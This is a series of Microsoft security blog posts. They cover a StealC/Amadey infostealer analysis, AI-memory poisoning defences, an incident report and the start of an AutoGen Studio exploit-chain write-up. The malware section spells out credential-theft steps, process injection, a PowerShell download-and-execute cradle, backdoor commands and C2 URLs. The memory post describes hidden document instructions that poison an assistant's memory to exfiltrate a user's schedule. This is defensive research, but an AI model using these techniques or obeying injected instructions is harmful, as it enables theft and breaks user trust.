• Configuration flags controlling optional modules, including screenshot capture (take_screenshot), loader execution (loader), Steam theft (steal_steam), Outlook theft (steal_outlook), Foxmail theft (steal_foxmail), WinSCP theft (steal_winscp), and self-deletion (self_delete)

If this registration with C2 fails, the malware self-terminates immediately.

StealC performs a comprehensive collection of system information that is exfiltrated to the C2:

• Network information: IP address and country
• System identifiers: HWID, OS version and build number, system architecture
• User context: Username, computer name, running executable path
• Locale data: Local time, UTC offset, system language, installed keyboard layouts
• Hardware profile: CPU model, core and thread count, total RAM, battery/laptop detection
• Display configuration: Virtual screen resolution, monitor details (device name, adapter string, resolution, color depth)
• GPU information: Graphics adapter details
• Running processes: Full process list with names and PIDs enumerated through toolhelp snapshots
• Installed software: Application names and versions from the Uninstall registry keys for both all-users and current-user hives

Browser credential stealing

For Chromium browsers (like Chrome, Edge, Brave, Opera, Vivaldi, and others), the malware resolves the browser’s profile directory under %APPDATA% or %LOCALAPPDATA% and targets the following data stores:

• Sign-in data: saved user names and passwords
• Cookies: session cookies
• Web data: autofill entries and saved credit card information
• History: browsing history
• Local extension settings/Sync extension settings/IndexedDB: browser extension data (including cryptocurrency wallet extensions)

To defeat Chromium’s App-Bound Encryption (ABE), StealC does not decrypt these browser secrets within its own process. Instead, it carries an embedded payload (approximately 165 KB) that it injects into a sacrificial suspended process and executes through an asynchronous procedure call (APC). The injection sequence is as follows:

1. Spawns the target process with CreateProcessA using the CREATE_SUSPENDED flag
2. Allocates executable memory in the remote process with VirtualAllocEx (MEM_COMMIT, PAGE_EXECUTE_READWRITE).
3. Writes the embedded payload into that memory with WriteProcessMemory.
4. Queues the payload to the suspended thread with QueueUserAPC, then calls ResumeThread, so the APC fires and the payload runs in the process context
5. Waits for the injected code to finish with WaitForSingleObject, then frees the memory and closes the handles

Running in the target process context, the injected module performs the in-process decryption and writes the cleartext result to an inter process communication (IPC) file at C:\ProgramData\<HWID>.txt, where <HWID> is the victim hardware identifier. StealC then reads back up to 511 bytes of decrypted output from that file, processes the result, and deletes the temporary file. The routine retries the injection up to three times if it does not succeed.

The decrypted credential data is formatted as plaintext entries with fields for URL, login, and password, and is then exfiltrated to C2. For Firefox and other Gecko-based browsers (like Thunderbird, Waterfox, and others), the malware locates the profiles.ini to identify active browser profiles, then extracts data from the following:

• logins.json: stored credentials (hostname, encrypted user name, encrypted password)
• cookies.sqlite: session cookies
• formhistory.sqlite: form autofill data
• places.sqlite: browsing history and bookmarks

Additional credential theft activity

Beyond web browsers, StealC targets credentials saved by several desktop applications, processing each module in order and sending the results to the C2 as it completes them.

StealC enumerates Microsoft Outlook email account profiles stored in the registry under HKCU\Software\Microsoft\Office\<version>\Outlook\Profiles and HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles. It reads the account values for each profile, including the server settings and user names, and recovers the saved account passwords from their stored encrypted form so that mail server credentials (IMAP, POP3, and SMTP) could be exfiltrated.

The malware also targets the Foxmail email client. It locates the Foxmail data directory and parses account storage files (for example, the Accounts records under each account’s Storage folder). It then extracts the configured email addresses, server details, and saved passwords, decrypting Foxmail’s proprietary password encoding to recover the credentials in plaintext.

For the WinSCP File Transfer Protocol (FTP) and SSH FTP (SFTP) client, the malware collects saved session credentials from either the registry key HKCU\Software\Martin Prikryl\WinSCP 2\Sessions or, when portable storage is used, the WinSCP.ini file. For each session, it recovers the host name, user name, and password, reversing WinSCP’s custom password obfuscation so the stored credentials could be exfiltrated.

To perform file grabbing, the malware processes a list of rules received from the C2. Each rule specifies a target directory, file mask patterns, recursion depth, and optional size limits. The grabber uses recursive directory enumeration to walk the target path. Selected files are copied to a staging directory under C:\ProgramData and read into memory to be exfiltrated to C2. The temporary copy is then deleted.

If enabled in the C2 configuration, the malware specifically targets the Steam gaming application. First, it retrieves the Steam path from the registry key HKCU\SOFTWARE\Valve\Steam and then navigates to the configuration subdirectory inside and collects the following files:

• ssfn*
• config.vdf
• DialogConfig.vdf
• DialogConfigOverlay*.vdf
• libraryfolders.vdf
• loginusers.vdf

If enabled by the C2 configuration, the malware can also capture a full screenshot of the victim’s desktop using the following operations:

1. Obtains the virtual screen dimensions (spanning all monitors)
2. Performs a screen capture using a device context and bit-block transfer
3. Encodes the captured bitmap as a JPEG image at 90% quality
4. Exfiltrates the result

After data collection is complete, the malware contacts the C2 again with request type loaderwhile authenticating with the previously received access token. The C2 responds with a list of payloads to download and execute. The following three execution methods are supported:

• EXE execution: Downloads a file, saves it with an .exeextension, and executes the payload
• PowerShell cradle: Constructs a download-and-execute command (iwr <URL> |iex) and launches it through PowerShell
• MSI installation: Downloads a file, saves it with an .msi extension, and installs it silently through msiexec.exe /i “<path>” /passive

After all stealing modules have finished, the malware sends a final done notification to the C2 panel, including the access token. This signals to the operator that data collection for the compromised device is complete. All stolen data, such as system information, browser credentials, grabbed files, and screenshots, are transmitted in individual POST requests throughout the execution flow, each being RC4-encrypted and Base64-encoded. If the self-delete flag is set in the C2 configuration, the malware removes itself from disk as its final operation by executing the following command:

Amadey: Malware-as-a-service for delivery of infostealers

Active since at least 2018, Amadey operates as a malware-as-a-service (MaaS) that has been used as a delivery mechanism for downstream malware such as StealC, Lumma Stealer, remote access trojans (RATs), crypto miners, and, in some cases, ransomware.

Figure 4. Distribution of Amadey infections from May 15 to June 15, 2026

In December of 2025, researchers at Trellix reported threat actors using the Amadey loader to retrieve the StealC infostealer from a compromised self-hosted GitLab instance, rather than from more familiar public hosting like GitHub. The point of that approach was to make the delivery infrastructure look more legitimate by using a long-established domain with valid TLS certificates, which can help the activity blend in and evade some traditional defenses.

This attack chain began with the first-stage Amadey loader. Once executed, the loader created a mutex to prevent duplication, performed discovery actions, and began communicating with its C2 server. Follow-on activities included the execution of additional components including a clipper plugin, use of PowerShell to expand archived payloads, deployment of additional payloads, and the execution of StealC, which communicated with its own separate C2 infrastructure after execution.

Amadey predates the current infostealer boom but has found renewed relevance as a delivery mechanism. It is a modular backdoor written in C++. It communicates with its C2 server over HTTP and supports backdoor commands for file download, file execution, command execution, modular updates, and network proxy. Operators can push plugins that add capabilities such as credential and clipboard theft, or simply use Amadey to download and run other malware, including infostealers. 

Scheduled task persistence

Upon execution, Amadey attempts to copy itself to the file nudwee.exe in the following target directory, depending on the system:

• On Windows 10 or Windows 11: C:\Users\<user name>\e079729711
• Others: %TEMP%\e079729711

After copying its own executable to this path, the malware executes it before creating a scheduled task to establish persistence for the payload.

System information collection

The malware builds a victim fingerprint POST request body with the following fields:

FieldDescriptionid:Bot IDvs:Version (“5.34”)sd:SD identifier (“8ac688”)os:OS versionbi:Bitness (32/64-bit)ar:Admin rightspc:Computer nameun:User namedm:Domain nameav:Installed antivirus productslv:Level (“0”)og:File size flag

This body is then RC4-encrypted and hex-encoded and later sent to C2 during the C2 bot registration phase.

The malware continues its infection by querying the system registry for keyboard layouts. The malware specifically checks for the following layout IDs:

• 00000419: Russian
• 00000422: Ukrainian
• 00000423: Belarusian

This sets up an internal flag, which is checked before executing certain commands to skip certain functionalities like credential stealing and clipboard stealing.

C2 communication

The malware communicates with its C2 serverover HTTP. In the first phase, the malware performs a status check by sending “st=s“in an HTTP POST request to C2. The C2 server responds with a sleep multiplier, which is a value to specify how long the malware sleeps between command execution.

In the next phase, the malware performs bot registration by sending the RC4-encrypted victim information to the C2. Once this is complete, the C2 starts sending backdoor commands to the Amadey backdoor. After each backdoor command is executed, the malware sleeps for the specified duration before receiving a new backdoor command. All communications between the malware and its C2 infrastructure are encrypted using RC4, with the encryption key embedded in the malware’s configuration.

The following table lists the backdoor commands that Amadey could process and their descriptions:

Backdoor codeNameDescription0x0A (10)Drop EXEDownloads file from a URL, saves it as .exe, executes the payload0x0B (11)Drop DLLDownloads a .dll file, loads it through rundll32.exe to execute the payload0x0C (12)Execute CMDRuns a command through cmd.exe  0x0D (13)Download and injectDownloads a payload from a URL, performs process injection to execute; retries once with 1s delay0x0E (14)Execute PS1Downloads and executes a PowerShell script (.ps1) 0x0F (15)SOCKS proxy STARTReceives target address, sets proxy flag, and spawns background thread running SOCKS relay loop0x10 (16)SOCKS proxy STOPDisables proxy flag to terminate relay loop and tears down proxy0x12 (18)Self-update (rename)–  Compares local binary size against server threshold; if a newer version is available, self-updates by downloading a new executable from the C2, renaming the old binary with the new one, and executes it0x13 (19)Self-uninstallRemoves scheduled task, writes RunOnce registry key to execute cmd /C RMDIR /s/q C:\Users\<user name>\e079729711 to delete the malware folder on reboot, self-terminates0x14 (20)Capture and exfiltrate screenshot– Captures a screenshot, saves it as JPG in the system temporary directory using the victim’s unique unit ID as the filename, and uploads it to the C2 server through an HTTP multipart/form-data POST request (?scr=1), sending the image as the data field – To improve reliability, attempts up to three screenshot uploads using different configured C2 servers; once the upload process completes, the temporary JPG file is deleted from disk0x15 (21)Steal credentialsDownloads and loads cred.dll plugin from C2 /Plugins/ path through rundll32.exe cred.dll, Main0x16 (22)Steal clipboardDownloads and loads clip.dll plugin through rundll32.exe clip.dll, Main0x17 (23)VNC / Remote accessDownloads VNC plugin manifest from C2, parses for up to 3 component files, downloads and installs each on the infected machine0x18 (24)Enable RDP– Enables Remote Desktop by allowing inbound RDP connections to the host system – Sets fDenyTSConnections=0 in registry – Executes system commands to enable the Remote Desktop firewall rule, configure the Terminal Services to auto-start, and launch the service; this ensures RDP access is both permitted through the firewall and persistently available across reboots0x19 (25)Create hidden admin– Extracts credentials from backdoor data to create a new local user account, then escalates it by adding the account to the Administrators group to ensure full system privileges – Disables password expiration and preventing password changes on this admin account0x1A (26)Russian system checkConfirms if Amadey is running on a Russian system0x1B (27)Drop MSIDownloads .msi file, installs with /quiet flag0x1C (28)Execute CMD (elevated)Runs command via cmd.exe with elevated privilege0x1D (29)Drop EXE (elevated)Downloads .exe, executes with elevated privilege

Plugins like cred.dll and clip.dll are downloaded from the C2 server at runtime.

In the generic handler used by commands 0x0A, 0x0C, 0x1B, 0x1C, 0x1D, the C2 can specify one of these in the backdoor data for the payload drop location:

ValueLocation0 AppData (%APPDATA%)1 Temp (%TEMP%)2 User Profile (%USERPROFILE%)3 Desktop Defending against StealC and Amadey intrusions

To defend against attacks from infostealers like StealC and malware families like Amadey, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Tactic Observed activity Microsoft Defender coverage PersistenceThreat actors distributed malware familiesMicrosoft Defender for Antivirus
– Trojan:Win32/Amadey
– Trojan:Win64/Amadey
– Trojan:MSIL/Amadey
– Trojan:PowerShell/Amadey
– Behavior:Win64/Amadey
– Behavior:Win32/Amadey
– TrojanDownloader:Win32/Amadey
– TrojanDownloader:Win64/Amadey
– TrojanDownloader:PowerShell/Amadey
– TrojanDownloader:MSIL/Amadey
– TrojanDownloader:Win64/Stealc
– TrojanDownloader:VBS/StealC
– TrojanDownloader:PowerShell/StealC
– TrojanDownloader:MSIL/StealC
– Trojan:Win64/Stealc
– Trojan:Win32/Stealc
– Trojan:MSIL/Stealc
– Behavior:Win64/Stealc

Microsoft Defender for Endpoint
– ‘Amadey’ malware was prevented
– ‘StealC’ malware was prevented
– User account created under suspicious circumstances
– New group added suspiciouslyInformation stealing malware activityImpactThreat actors can deploy ransomwareMicrosoft Defender for Endpoint
– Ransomware-linked threat actor detected
– A file or network connection related to a ransomware-linked emerging threat activity group detected   Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: Amadey
• Tool profile: StealC
• Tool profile: Lumma Stealer
• Tool profile: Information stealers

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise IndicatorTypeDescription8f32456359f209a63adfd24b94235e1727382ac7f7bb7f2bcaf754e721925b64SHA-256StealC0215f734867bd71c57ff5c524d8cc670be5b4f1861b2c390cf46d18784a53624SHA-256StealC2a0f053855da59b3b56812e580d7baeba59fc9493694722aa9e3f121ee3363f1SHA-256StealC977b33a9b481cf714946b7d386865cd5d284312aa5ecfa0546c197b1003e1bdeSHA-256StealCb7d1f172ff3feafe65d47fd1cbe0cc249316371ae0e1cbe3a7c741c738b3353dSHA-256Amadey 5.879383572a30ae5b76fadd0700fbd7a1aa7b05d0b6c8f9cdaef9b30a3e1f65d57dSHA-256Amadey 5.865f5b25b2e35d404034d0d60975cf1ffbc6f141761ec3f4f15d6f7c6213a056f6SHA-256Amadey 5.8098e504cc7125b79eda5491f40b998605a05f4cd968b961aab4cce7beb074fefeSHA-256Amadey 5.7830cef3d3d956e83e2c50579cfbe57a49159cccbcc8b0b0422f27d55e1c401ad9SHA-256Amadey 5.778cef760d11d24fc2e9bbd9f770dca5105854f7ece3b0e6948d7c8b7fdd1765eaSHA-256Amadey 5.7399507f18c4e61fdb109805404bf6a79ea8ce2fddc590ce48d717e97516ab7e8dSHA-256Amadey 5.701246c5b89ab668c1137f377507bc3e266a98e93248382aa026610ae1e764a497SHA-256Amadey 5.65d43c988d6f9cb355497696b580621fb1bdb7b6ed6d90f97520ecf6da5a1a41ffSHA-256Amadey 5.64ca4d4c4fc3e5d5cfa922b898f2d7411f03a446dddb139ba45dfd4f8f0018b64fSHA-256Amadey 5.6343455f1ff4a623b783da670d052eb77eaaacb0c66a9f1e8508f802bf22e8129eSHA-256Amadey 5.60hxxp://polse[.]us/62ea47cac2534aa18f74.phpC2 URLStealC C2hxxp://roger99699[.]xyz/425f1faf4b214434b8a3.phpC2 URLStealC C2hxxp://bluescry[.]com/01f96fd710e905ca2326.phpC2 URLStealC C2hxxp://secure.controlpanel[.]asia/330311481fe14ab99814.phpC2 URLStealC C2hxxps://neltron-geltron[.]shop/e396586b99ee49d19cc3.phpC2 URLStealC C2hxxp://cdntestconnect[.]com/ed54b97a570943999715.phpC2 URLStealC C2hxxps://bartsen284[.]online/39d9612df78e45b5a4bb.phpC2 URLStealC C2hxxp://goodpanelforgoodjob[.]com/hg8jjfSr5hy/index.phpC2 URLAmadey C2hxxp://rebustan[.]top/gd7djkDveE2/index.phpC2 URLAmadey C2hxxp://svclsc[.]com/ms/index.phpC2 URLAmadey C2hxxp://microsoft-telemetry[.]at/cvdfnaFJBmC0/index.phpC2 URLAmadey C2hxxp://spasopro[.]at/Lsge63sd3/index.php C2 URLAmadey C2 References

• Amadey Exploiting Self-Hosted GitLab to Distribute StealC Trellix
• HELLCAT Ransomware Group Strikes Again: Four New Victims Breached via Jira Credentials from Infostealer Logs InfoStealers by HudsonRock
• The Infostealer Pipeline How Russian Market Fuels Credential Based Attacks ReliaQuest
• Stealer Logs and Corporate Access Flare

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post StealC and Amadey: Breaking down infostealers and the cybercrime services that deliver them appeared first on Microsoft Security Blog.

In this article

1. What AI memory is (and why it matters)
2. What is an agent memory attack?
3. How Microsoft approaches memory security in Microsoft 365
4. A guiding framework for building safe AI memory
5. Key takeaways
6. Learn more

AI memory transforms an AI system from a stateless tool into a learning collaborator.  That unlocks powerful experiences, but it also increases the attack surface of the AI system. Without memory, attackers need to achieve their objective in a single prompt.  With AI memory, they can shape behavior gradually over time or plant memories that influence agent reasoning after the original context is gone and user awareness is lower.

Microsoft takes a defense-in-depth approach to protect AI memory spanning every layer of the stack: storage, retrieval, model interaction, and user control.

What AI memory is (and why it matters)

 AI systems use memory to retain and recall information across interactions. This information is then used to shape future behavior. This enables:

1. Personalization: Agents gain a deep understanding of the user’s preferences.  This provides continuity across interactions.
2. Agentic coherence: Agents build durable domain knowledge that strengthens performance. As AI systems evolve, this persistent state becomes central to both capability and correctness.

What is an agent memory attack?

AI memory serves two roles. It stores high-value user information and must be protected like customer data. It also shapes agent behavior and drives tool calls and must be governed with the same rigor as any system that can act. Memory governance is also challenging since memory events usually happen asynchronously from user interactions, changing traditional human in the loop patterns.

AI memory changes the threat model. Without memory, attackers need to “win” in a single prompt. Using AI memory, an attacker can stage an attack over time. Once compromised, memory can trigger behaviors outside of their original context. Since AI memory attacks happen outside of their original context, defenses are often lower and forensics are harder.

Building safe AI memory is one of the most consequential challenges in AI. It requires balancing personalization, capability, privacy, security, and governance.

Scenario: delayed tool execution through adversarial memory poisoning

The following is a hypothetical scenario illustrating this class of risk. While simplified for clarity, it reflects patterns observed in real-world research. Microsoft designs protections to detect and mitigate these patterns as they evolve:

A user opens a shared document. Its formatting contains hidden instructions embedded by an attacker intended for the AI assistant: a directive to exfiltrate the user’s schedule. The assistant processes the document but takes no immediate action.

Days later, in an unrelated conversation, that message triggers the dormant malicious instructions from the earlier session, causing the assistant to update its memory with attacker-defined content.  The attacker now gets all updates to the user’s schedule.

This is delayed tool invocation: the attack’s power lies in the temporal gap between exposure and execution.

How Microsoft approaches memory security in Microsoft 365

Memory Creation

Memories pass through sanitization checks on write. Proprietary Microsoft prompt-injection classifiers inspect content for malicious input and strip it before anything is written.  M365 Copilot is designed to run Task Adherence checks on every explicit memory write. Task Adherence identifies discrepancies such as misaligned tool invocations relative to user intent, mitigating prompt injection impact for the memory tool call.  Personalization using AI memory can be controlled with tenant level policy.

Memory Storage

Once stored, memories are governed by the data policies available across M365 like Data Subject Requests (DSR) and tenant isolation.  They follow the same security and compliance policies as other mailbox data, such as Customer Lockbox and encryption at rest.

Observability

M365 Copilot records when a memory is updated to organizational audit logs. The goal is end-to-end traceability: from the source content Copilot processed, to what it chose to remember, to how that memory influenced later interactions.

Today, SOC analysts can join the MemoryUpdated field, available in Defender Advanced Hunting, Defender Sentinel, and Azure Portal Sentinel Analytics, with their existing analytics to triage incidents and build new alerts on memory activity.

In summary:

CapabilityWhat It Means for YouTask AdherenceDetect tool call misalignment with user intent, mitigating prompt injection impact. This provides protection against manipulation of memory tool callsUnified compliance boundaryMemory governed by the same policies, retention rules, and investigation workflows as email, chat, and documentsMemory audit eventsProvides visibility into when memory changes, integrated with your existing security operationseDiscoverySupports search and removal of AI-related data using the compliance tools you already have.

Microsoft continues to invest in AI memory security as an active, iterative program. The protections and visibility described here reflect capabilities available today, with continued hardening and enrichment underway. Capabilities described are subject to configuration, licensing, and service availability. The following section shares the framework guiding our investments.

This case study is based on MSRC cases from Johann Rehberger (first finder), Håkon Måløy, and Gal Zror.  We are grateful to the security researchers who engaged with us and informed better memory design practices through coordinated vulnerability disclosure. Their work strengthens the systems customers rely on.

A guiding framework for building safe AI memory

AI memory requires balancing personalization, capability, privacy, security, and governance.

Our AI memory strategy is guided by design principles for building safe memory systems. These principles address core failure modes that can undermine trust, security, and operability at scale.

1. Establish intent and provenance before persistence: Memory can be influenced indirectly by untrusted content, and without provenance it becomes difficult to assess whether stored information is trustworthy, appropriate to retain, or safe to use later. Memory should only be written when it reflects legitimate user intent, is aligned to the service’s purpose, and carries clear metadata about where it came from.
2. Enforce boundaries outside the model: Memory access and isolation should be controlled by deterministic systems, not model instructions. Prompting alone is not a reliable security boundary; strong enforcement prevents sensitive memory from leaking across users, agents, or tenants.
3. Treat retrieval as a risk decision: Memory that was safe to store can become stale, manipulated, or misleading over time. Uncritical retrieval can directly affect agent behavior. Treat retrieved candidate context and re-evaluated for relevance, freshness, and tampering before use.
4. Provide full lifecycle visibility for security teams: Without auditability and chain of custody, memory cannot be reliably investigated, trusted, or safely expired during incident response. Security teams need clear records of what changed, when, why, from where, and access attempts.
5. Keep users in control: Users should be able to understand how memory is shaping their experience and have meaningful controls to review, edit, and delete it. Transparency and control are essential to user trust, and they help ensure memory remains aligned with user expectations over time.

Taken together, these principles reflect where we’re headed: advancing agent capability and control together. Getting that balance right is one of the hardest challenges in the industry, but we believe the agents that scale furthest will be the ones that are also trustworthy, governable, and resilient by design.

Key takeaways

• Memory turns transient threats into persistent ones.
• You can’t secure what you can’t see. Full lifecycle logging of memory operations is the foundation of agentic safety.
• Attackers are already thinking across turns. Single-turn defenses are insufficient for AI memory systems.
• Memory expands the blast radius.
• Microsoft treats memory protections, auditability, and governance as an integral part of the broader trust and compliance architecture.
• Microsoft continues to invest in AI memory security as an active, iterative program. The protections and visibility described here reflect capabilities available today, with continued hardening underway to address emerging threats.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Guarding AI memory appeared first on Microsoft Security Blog.

What began as a routine ransomware investigation quickly revealed something far more complex. In this ninth cyberattack series report, DART details how a single intrusion uncovered parallel activity from two unrelated threat actors operating simultaneously—blending tactics, obscuring signals, and challenging traditional assumptions about how multi-stage intrusion campaigns unfold across hybrid environments. Read on to learn more or access the full report.

Read the full cyberattack report What happened?

The investigation revealed a multi-stage intrusion that blended familiar ransomware activity with quieter, more deliberate techniques designed to establish deep and lasting access. DART found that Storm-2603 had been targeting on-premises SharePoint servers since mid-2025, exploiting known vulnerabilities while simultaneously probing for additional entry points through reconnaissance activity—such as requests for sensitive configuration files often used to validate local file inclusion weaknesses. In this case, initial access was likely attempted through a separate vulnerability, with requests for files like win.ini and web.config, indicating probing for local file inclusion. While exploitation wasn’t confirmed, the timing and activity suggest reconnaissance for entry points.

Once inside, the threat actor shifted focus to persistence and control. Using legitimate tools to blend in, they deployed Velociraptor with SYSTEM-level privileges to map the environment, then established multiple remote access channels through Cloudflare tunneling, Zoho Assist, and Secure Shell (SSH) connections configured through Visual Studio Code. Velociraptor, a legitimate forensic and incident response tool, was deployed by the threat actor to map the environment and operate with high-level privileges—blending malicious activity with trusted administrative behavior. Privilege escalation followed, with new local and domain administrator accounts created to maintain access, while defense evasion techniques—including the use of a vulnerable driver to tamper with memory and disable protections—helped reduce their visibility.

As DART correlated activity across the environment, investigators uncovered signs of a second, unrelated threat actor operating in parallel. Malicious dynamic link library (DLL) sideloading and custom backdoors—techniques not associated with Storm-2603—introduced an additional layer of complexity, obscuring attribution and complicating detection. Together, these overlapping activity streams enabled sustained access while masking the full scope of the intrusion.

Dynamic link library (DLL) sideloading is popular with threat actors because it can be misused to hide behind trusted software (execution looks legitimate), to evade detection by running inside known applications, and to execute payloads, install backdoors, or maintain persistence.

How did Microsoft respond?

DART moved quickly to contain the active intrusion involving multiple threat actors and stabilize the environment, activating a structured response playbook focused on limiting threat actor impact and restoring control. By correlating telemetry across identities, endpoints, and cloud resources, responders established a unified view of the intrusion, enabling them to detect abnormal behavior, uncover credential misuse, and track threat actor activity as it evolved. Continuous coordination with the customer, including daily briefings, ensured that containment actions were timely, aligned, and effective in reducing further threat actor movement.

At the same time, collaboration with Microsoft Threat Intelligence provided critical context that reshaped the investigation. By connecting incident data with broader intelligence, DART identified two distinct threat actors operating simultaneously within the same environment—each masking the other’s activity and complicating detection. Beyond containment, the team delivered targeted guidance to strengthen the organization’s security posture, helping close visibility gaps and improve resilience against future identity compromise and ransomware-driven attacks.

What can customers do to strengthen their defenses?

This case underscores the importance of closing common gaps across exposure, identity, and visibility. Organizations should prioritize rigorous patching and vulnerability management—especially for internet-facing systems—to reduce the risk of initial access. At the same time, strengthening identity security is critical to limiting threat actor escalation and persistence. At a high level, customers can avoid similar cyberattacks by focusing on ways to:

• Establish broad, continuous visibility:
  Deploy endpoint protection widely and retain telemetry centrally to support detection, investigation, and correlation.
• Monitor and restrict trusted tools:
  Validate and oversee the use of remote access, tunneling, and administrative tools that threat actors may exploit for persistence and lateral movement.
• Prepare for rapid, coordinated response:
  Maintain tested incident response playbooks and ensure teams can quickly isolate compromised users, devices, and access paths to reduce dwell time.

Today’s modern cyberattacks can quickly evolve beyond a single incident-blending tactic, spanning environments, and even involving multiple threat actors operating in parallel. For security teams, the takeaway is clear: isolated signals rarely tell the full story. Organizations that invest in connected telemetry, coordinated response, and operational preparedness will be better positioned to detect adversary activity such as credential abuse and lateral movement earlier, contain active intrusions faster, and limit their overall impact.

What is the Cyberattack Series?

In our Cyberattack Series, customers discover how DART investigates unique and notable attacks. For each cyberattack story, we share:

cyberattack series no. 8

Read the report ›

• How the cyberattack happened.
• How the breach was discovered.
• Microsoft’s investigation and eviction of the threat actor.
• Strategies to avoid similar cyberattacks.

DART is made up of highly skilled investigators, researchers, engineers, and analysts who specialize in handling global security incidents. We’re here for customers with dedicated experts to work with you before, during, and after a cybersecurity incident.

Get the full cyberattack report Learn more

To learn more about DART capabilities, please visit our website, or contact your Microsoft account manager or Premier Support contact. To learn more about the cybersecurity incidents described above, including more insights and information on how to protect your own organization, download the full report.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post One intrusion, two cyberattackers: Uncovering parallel threat activity appeared first on Microsoft Security Blog.

In this article

1. Why we are looking at agent frameworks
   1. What is AutoGen Studio 
2. The AutoJack chain at a glance
3. Anatomy of the chain
   1. Issue 1: Origin allowlist that the agent itself defeats
   2. Issue 2: Auth middleware that opts MCP out
   3. Issue 3: server_paramsfrom the URL is the command line
4. Putting it together: a realistic scenario
   1. Fixes and hardening measures applied
5. Mitigation and protection guidance 
   1. How Microsoft helps secure agentic systems
   2. Microsoft Defender detections 
   3. What this means for the broader agent ecosystem 
6. Learn more

Ongoing research into AI agent framework security identified an exploit chain in AutoGen Studio (AutoGen’s open-source prototyping user interface) that allows untrusted web content rendered by a browsing agent to reach a local Model Context Protocol (MCP) WebSocket and spawn arbitrary processes on the host. The technique, which we call AutoJack, jacks the agent into becoming the attacker’s last-mile delivery vehicle by crossing the localhost trust boundary that many developer tools rely on.

We reported the behavior to the Microsoft Security Response Center (MSRC); following the report the maintainers hardened the upstream main branch in commit b047730. This issue was identified and addressed during development. The affected MCP WebSocket surface was never included in a Python Package Index (PyPI) release, so users who install AutoGen Studio from PyPI aren’t exposed to this specific chain.

The broader lesson is general: if an agent can browse untrusted pages and also talk to privileged local services, loopback can become an attack surface and control planes must be authenticated, authorized, and isolated.

Why we are looking at agent frameworks

Modern AI agents are not just text generators. They read files, browse pages, call APIs, and shell out to tools. That is exactly what makes them useful, and exactly why there is investment in finding systemic execution risks in the frameworks that wire models to tools. Earlier in this series we covered RCE primitives in Microsoft Semantic Kernel. In this post we move one layer up the stack to an infrastructure and developer-facing prototyping surface and show how the same agent capabilities that make these tools valuable for experimentation can become a delivery channel for remote code execution when the prototype runs without safeguards. 

The takeaway is not to avoid prototypes. It is this: when an agent on your core server or laptop can browse the open web and communicate with privileged local services, localhost stops being a trust boundary. Defenders need to plan for that, and these findings show why. 

What is AutoGen Studio 

AutoGen Studio is a user interface (UI) on top of AutoGen, Microsoft Research’s framework for multi-agent systems. It lets developers compose agents, attach tools, including MCP servers, and run quick experiments. Its documentation is clear about intended use. In other words, it is a research prototype with expected developer-experience tradeoffs: defaults tuned for ease of iteration rather than hardened deployment. 

The AutoJack chain at a glance

